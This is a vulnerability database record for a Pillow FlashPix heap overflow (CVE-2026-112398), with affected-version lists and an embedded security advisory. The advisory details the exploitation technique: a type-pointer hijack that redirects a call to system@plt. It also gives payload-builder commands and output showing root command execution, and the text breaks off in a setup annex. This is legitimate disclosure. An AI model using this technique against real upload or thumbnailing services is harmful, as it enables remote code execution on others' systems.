{"id":"CVE-2026-112398","aliases":["ALSA-2026:93077","BIT-pillow-2026-112398","CLSA-2026-1792576513","CLSA-2026-1792580209","CLSA-2026-1792580364","CLSA-2026-1792631285","CLSA-2026-1792648426","CLSA-2026-1792648427","DEBIAN-CVE-2026-112398","EUVD-2026-104634","GHSA-5x8w-8jj5-q52h","OESA-2026-4663","PYSEC-2026-4330","RLSA-2026:93077","SUSE-SU-2026:5038-1","UBUNTU-CVE-2026-112398","openSUSE-SU-2026:12230-1"],"status":"published","title":"Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution","description":"Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.","severity":{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00696,"percentile":0.5334,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-122","CWE-787"],"published":"2026-10-19T21:07:25Z","modified":"2026-11-11T13:05:01Z","exploits":[{"source":"pocgithub","id":"mcpmark-eval-liuhezi/security-advisory-research","title":"mcpmark-eval-liuhezi/security-advisory-research","date":"2026-10-23","url":"https://github.com/mcpmark-eval-liuhezi/security-advisory-research"}],"fixes":[{"ecosystem":"PyPI","package":"pillow","fixed_in":["13.0.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"pillow","fixed_in":["13.0.0"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP4","package":"python-pillow","fixed_in":["9.0.1-17.oe2203sp4"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"12.3.0"},{"fixed":"13.0.0"}]}]},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-36.el8_10"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-36.el8_10"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-36.el8_10"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-tk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-36.el8_10"}]}],"bundled":3},{"source":"osv","ecosystem":"Bitnami","package":"pillow","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"13.0.0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0"},{"fixed":"11.3.0.post7+tuxcare"}]}],"versions":["11.3.0","11.3.0.post1+tuxcare","11.3.0.post2+tuxcare","11.3.0.post3+tuxcare","11.3.0.post4+tuxcare","11.3.0.post5+tuxcare","11.3.0.post6+tuxcare"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.2.1"},{"fixed":"11.2.1.post9+tuxcare"}]}],"versions":["11.2.1","11.2.1.post1+tuxcare","11.2.1.post2+tuxcare","11.2.1.post3+tuxcare","11.2.1.post4+tuxcare","11.2.1.post5+tuxcare","11.2.1.post6+tuxcare","11.2.1.post7+tuxcare","11.2.1.post8+tuxcare"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.4.0"},{"fixed":"10.4.0.post11+tuxcare"}]}],"versions":["10.4.0","10.4.0.post1+tuxcare","10.4.0.post10+tuxcare","10.4.0.post2+tuxcare","10.4.0.post3+tuxcare","10.4.0.post4+tuxcare","10.4.0.post5+tuxcare","10.4.0.post6+tuxcare","10.4.0.post7+tuxcare","10.4.0.post8+tuxcare","10.4.0.post9+tuxcare"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.5.0"},{"fixed":"9.5.0.post9+tuxcare"}]}],"versions":["9.5.0","9.5.0.post1+tuxcare","9.5.0.post2+tuxcare","9.5.0.post3+tuxcare","9.5.0.post4+tuxcare","9.5.0.post5+tuxcare","9.5.0.post6+tuxcare","9.5.0.post7+tuxcare","9.5.0.post8+tuxcare"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.0"},{"fixed":"9.4.0.post10+tuxcare"}]}],"versions":["9.4.0","9.4.0.post1+tuxcare","9.4.0.post2+tuxcare","9.4.0.post3+tuxcare","9.4.0.post4+tuxcare","9.4.0.post5+tuxcare","9.4.0.post6+tuxcare","9.4.0.post7+tuxcare","9.4.0.post8+tuxcare","9.4.0.post9+tuxcare"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.4.0"},{"fixed":"8.4.0.post9+tuxcare"}]}],"versions":["8.4.0","8.4.0.post1+tuxcare","8.4.0.post2+tuxcare","8.4.0.post3+tuxcare","8.4.0.post4+tuxcare","8.4.0.post5+tuxcare","8.4.0.post6+tuxcare","8.4.0.post7+tuxcare","8.4.0.post8+tuxcare"],"bundled":9},{"source":"osv","ecosystem":"Debian:12","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.3.0-1","10.3.0-2","10.4.0-1","10.4.0-1.1","11.1.0-1","11.1.0-2","11.1.0-3","11.1.0-4","11.1.0-5","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1","9.4.0-1.1","9.4.0-1.1+deb12u1","9.5.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.1.0-5","11.1.0-5+deb13u1","11.1.0-5+deb13u2","11.1.0-5+deb13u3","11.1.0-5+deb13u4","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.1.0-5","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1"]},{"source":"osv","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.0.1-17.oe2203sp4"}]}]},{"source":"osv","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]},{"source":"osv","ecosystem":"Rocky Linux:8","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-36.el8_10"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.2.0-150300.3.33.1"}]}],"bundled":29},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1-1ubuntu2","2.2.1-2ubuntu1","2.2.1-3ubuntu2","2.2.1-3ubuntu3","2.2.1-3ubuntu4","2.2.1-3ubuntu6","2.3.0-1ubuntu1","2.3.0-1ubuntu2","2.3.0-1ubuntu3","2.3.0-1ubuntu3.2","2.3.0-1ubuntu3.3","2.3.0-1ubuntu3.4","2.3.0-1ubuntu3.4+esm1","2.3.0-1ubuntu3.4+esm2","2.3.0-1ubuntu3.4+esm3","2.3.0-1ubuntu3.4+esm4","2.3.0-1ubuntu3.4+esm5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.9.0-1","3.0.0-1","3.0.0-1build1","3.1.0-1","3.1.1-1","3.1.2-0ubuntu1","3.1.2-0ubuntu1.1","3.1.2-0ubuntu1.3","3.1.2-0ubuntu1.4","3.1.2-0ubuntu1.5","3.1.2-0ubuntu1.6","3.1.2-0ubuntu1.6+esm1","3.1.2-0ubuntu1.6+esm2","3.1.2-0ubuntu1.6+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.1.1-3build2","4.3.0-2ubuntu1","5.0.0-1","5.1.0-1","5.1.0-1ubuntu0.2","5.1.0-1ubuntu0.3","5.1.0-1ubuntu0.4","5.1.0-1ubuntu0.5","5.1.0-1ubuntu0.6","5.1.0-1ubuntu0.7","5.1.0-1ubuntu0.8","5.1.0-1ubuntu0.8+esm1","5.1.0-1ubuntu0.8+esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.0-1","6.1.0-1build1","6.2.1-2","7.0.0-4","7.0.0-4build1","7.0.0-4ubuntu0.1","7.0.0-4ubuntu0.2","7.0.0-4ubuntu0.3","7.0.0-4ubuntu0.4","7.0.0-4ubuntu0.5","7.0.0-4ubuntu0.6","7.0.0-4ubuntu0.7","7.0.0-4ubuntu0.8","7.0.0-4ubuntu0.9","7.0.0-4ubuntu0.9+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow-python2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1-3~build1","6.2.1-3","6.2.1-3ubuntu0.1~esm1","6.2.1-3ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.1.2+dfsg-0.3","9.0.0-1","9.0.1-1","9.0.1-1build1","9.0.1-1ubuntu0.1","9.0.1-1ubuntu0.2","9.0.1-1ubuntu0.3","9.0.1-1ubuntu0.4","9.0.1-1ubuntu0.5","9.0.1-1ubuntu0.6"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.2.0-1build1","10.2.0-1ubuntu1","10.2.0-1ubuntu1.2","10.2.0-1ubuntu1.3","10.2.0-1ubuntu1.4"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["12.1.1-2ubuntu1","12.3.0-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.3.0-1ubuntu1","11.3.0-1ubuntu2","12.0.0-1ubuntu1","12.1.1-1ubuntu1","12.1.1-2ubuntu1","12.1.1-2ubuntu1.1","12.1.1-2ubuntu1.2","12.1.1-2ubuntu1.3","12.1.1-2ubuntu1.4"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0-1.1"}]}],"bundled":14}],"products":[{"vendor":"python","product":"pillow"},{"vendor":"python-pillow","product":"pillow"}],"references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0","tags":["x_refsource_MISC","Release Notes","article","web","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112398","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-5x8w-8jj5-q52h"},{"url":"https://access.redhat.com/errata/RHSA-2026:93077","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112393","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112398","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112900","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555846","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555867","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555889","tags":["report"]},{"url":"https://errata.almalinux.org/8/ALSA-2026-93077.html","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112398.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-112398","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4663","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:93077","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555846","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555867","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555889","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20265038-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1286256","tags":["report"]},{"url":"https://bugzilla.suse.com/1286273","tags":["report"]},{"url":"https://bugzilla.suse.com/1286287","tags":["report"]},{"url":"https://bugzilla.suse.com/1286311","tags":["report"]},{"url":"https://bugzilla.suse.com/1286314","tags":["report"]},{"url":"https://bugzilla.suse.com/1286325","tags":["report"]},{"url":"https://bugzilla.suse.com/1286368","tags":["report"]},{"url":"https://bugzilla.suse.com/1286370","tags":["report"]},{"url":"https://bugzilla.suse.com/1286372","tags":["report"]},{"url":"https://bugzilla.suse.com/1286381","tags":["report"]},{"url":"https://bugzilla.suse.com/1286396","tags":["report"]},{"url":"https://bugzilla.suse.com/1286397","tags":["report"]},{"url":"https://bugzilla.suse.com/1286398","tags":["report"]},{"url":"https://bugzilla.suse.com/1286400","tags":["report"]},{"url":"https://bugzilla.suse.com/1286401","tags":["report"]},{"url":"https://bugzilla.suse.com/1286402","tags":["report"]},{"url":"https://bugzilla.suse.com/1286403","tags":["report"]},{"url":"https://bugzilla.suse.com/1286404","tags":["report"]},{"url":"https://bugzilla.suse.com/1286405","tags":["report"]},{"url":"https://bugzilla.suse.com/1286406","tags":["report"]},{"url":"https://bugzilla.suse.com/1286408","tags":["report"]},{"url":"https://bugzilla.suse.com/1286411","tags":["report"]},{"url":"https://bugzilla.suse.com/1286489","tags":["report"]},{"url":"https://bugzilla.suse.com/1286796","tags":["report"]},{"url":"https://bugzilla.suse.com/1286797","tags":["report"]},{"url":"https://bugzilla.suse.com/1286798","tags":["report"]},{"url":"https://bugzilla.suse.com/1286801","tags":["report"]},{"url":"https://bugzilla.suse.com/1286802","tags":["report"]},{"url":"https://bugzilla.suse.com/1286804","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112390","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112391","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112392","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112393","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112394","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112397","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112398","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112399","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112400","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112401","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112402","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112403","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112405","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112406","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112892","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112894","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112895","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112896","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112897","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112899","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112900","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112901","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112902","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96636","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96640","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96641","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96642","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-112398","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-112398","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112396","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112404","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112898","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-112398","title":"Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution","description":"Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T21:07:25.229Z","modified":"2026-10-22T21:06:17.285Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-122","CWE-787"],"updated_at":"2026-11-02T13:44:40.64332Z"}],"euvd":[{"id":"EUVD-2026-104634","description":"Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T21:07:25Z","modified":"2026-10-22T21:06:17Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T16:59:34.021826Z"}],"ghsa":[{"id":"GHSA-5x8w-8jj5-q52h","title":"Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution","description":"### Credits\n\n**Researcher**: Alex Bouffard (mixbo@pebwalker.com)\n\n### Summary\n\nA heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).\n\n### Details\n\n`FpxImagePlugin` decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.\n\n`Image.open()` auto-detects them from the OLE2 magic `D0CF11E0...` whenever the optional `olefile` package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension.\n\nFor a JPEG-compressed subimage (`compression == 2`), the plugin builds a `\"jpeg\"` decode tile and derives the `(rawmode, jpegmode)` pair from attacker-controlled FPX color IDs through the `MODES` table ([`src/PIL/FpxImagePlugin.py` L25-L32](https://github.com/python-pillow/Pillow/blob/12.2.0/src/PIL/FpxImagePlugin.py#L25-L32)):\n\n```python\nMODES = {\n    ...\n    (0x00018000, 0x00017FFE): (\"RGBA\", \"LA\"),                # rawmode \"LA\"  (2 bytes/pixel)\n    ...\n    (0x00020000, 0x00020001, 0x00020002): (\"RGB\", \"YCC;P\"),  # rawmode \"YCC;P\"\n}\n```\n\nThe Imaging output buffer for the tile is sized for the rawmode (here `\"LA\"` = 2 bytes/pixel) ([`src/decode.c` L223-L226](https://github.com/python-pillow/Pillow/blob/12.2.0/src/decode.c#L223-L226)):\n\n```c\nstate-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8;   // \"LA\" gives 2 * xsize bytes/row\n...\nstate-\u003ebuffer = (UINT8 *)calloc(1, state-\u003ebytes);\n```\n\nIn `JpegDecode.c` the rawmode string is mapped to a libjpeg `out_color_space`. Recognized modes (`CMYK`, `YCbCr`, `YCbCrK`, and so on) get a concrete colorspace, but `\"LA\"` and `\"YCC;P\"` are not recognized, so control reaches the fallback branch ([`src/libImaging/JpegDecode.c` L219-L221](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L219-L221)):\n\n```c\n/* Disable decoder conversions. */\ncontext-\u003ecinfo.jpeg_color_space = JCS_UNKNOWN;\ncontext-\u003ecinfo.out_color_space  = JCS_UNKNOWN;\n```\n\nUnder `JCS_UNKNOWN`, libjpeg performs no color conversion and emits `cinfo.num_components` bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So `jpeg_read_scanlines` writes `4 * width` bytes per row into a buffer allocated for only `2 * width` bytes ([`src/libImaging/JpegDecode.c` L252](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L252)):\n\n```c\nok = jpeg_read_scanlines(\u0026context-\u003ecinfo, \u0026state-\u003ebuffer, 1);   // writes 4*W into a 2*W buffer\n```\n\nThis is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about `2 * width` bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python `bytes` object's `ob_type` with a pointer to a fake `PyTypeObject` / `PyBufferProcs` vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, `PyBuffer_Release` walks `ob_type -\u003e tp_as_buffer -\u003e bf_releasebuffer` and executes `call *rax`; the PoC points that at `system@plt` (fixed, the interpreter binary is non-PIE) with `rdi` set to the command string, yielding command execution.\n\n### PoC\n\nTo facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from [Annex A](#annex-a-docker-setup).\n\nThe source code for the payload builder `make_payload.py` is in [Annex B](#annex-b-payload-builder-source).\n\n`vulnerable.py` is the program under test, a one-liner that opens the file it is given:\n\n```python\n#!/usr/bin/env python3\n# The entire vulnerable operation an application performs on an untrusted file.\nimport sys\nfrom PIL import Image\n\nImage.open(sys.argv[1]).load()\n```\n\nThe payload is a standalone `.fpx` file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run `make_payload.py` inside the same container here purely for convenience, so its baked-in addresses (`--offset`, `system@plt`) match this pinned image. The payload redirects the hijacked indirect call to `system@plt` (`0x4206c0`, fixed because the interpreter binary is non-PIE) with a baked-in command:\n\n```console\n$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx\n[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0\n[control] opening it: vtable hijack -\u003e call *0x4206c0 with rdi -\u003e 'id'\n```\n\nThen open it with `vulnerable.py`:\n\n```console\n$ python3 vulnerable.py shell.fpx\nuid=0(root) gid=0(root) groups=0(root)\ncorrupted size vs. prev_size\n```\n\n`Image.open()` of the crafted file runs the baked command via `system(\"id\")`: command execution as the user running the image processing (root in the container).\n\nThe trailing `corrupted size vs. prev_size` is glibc aborting during interpreter teardown over the corrupted heap, after `id` has\nalready run.\n\nThe builder writes the command inline at the hijacked `rdi`, so `--cmd` is limited to 7 bytes (for example `id`, `id;w`). `--offset` and `system@plt` are constants of the pinned, ASLR-disabled image and hold across runs of it.\n\n### Impact\n\nThis is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional `olefile` dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal `Image.open()` / `load`, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds.\n\n### Annex A: Docker setup\n\nThe PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image's entrypoint disables ASLR (`setarch -R`) to reduce the system knowledge requirements. The single `--security-opt seccomp=unconfined` flag on `docker run` is required only because turning ASLR off uses the `personality()` syscall that Docker's default seccomp profile blocks. Run only on infrastructure you own.\n\n**1. Build the 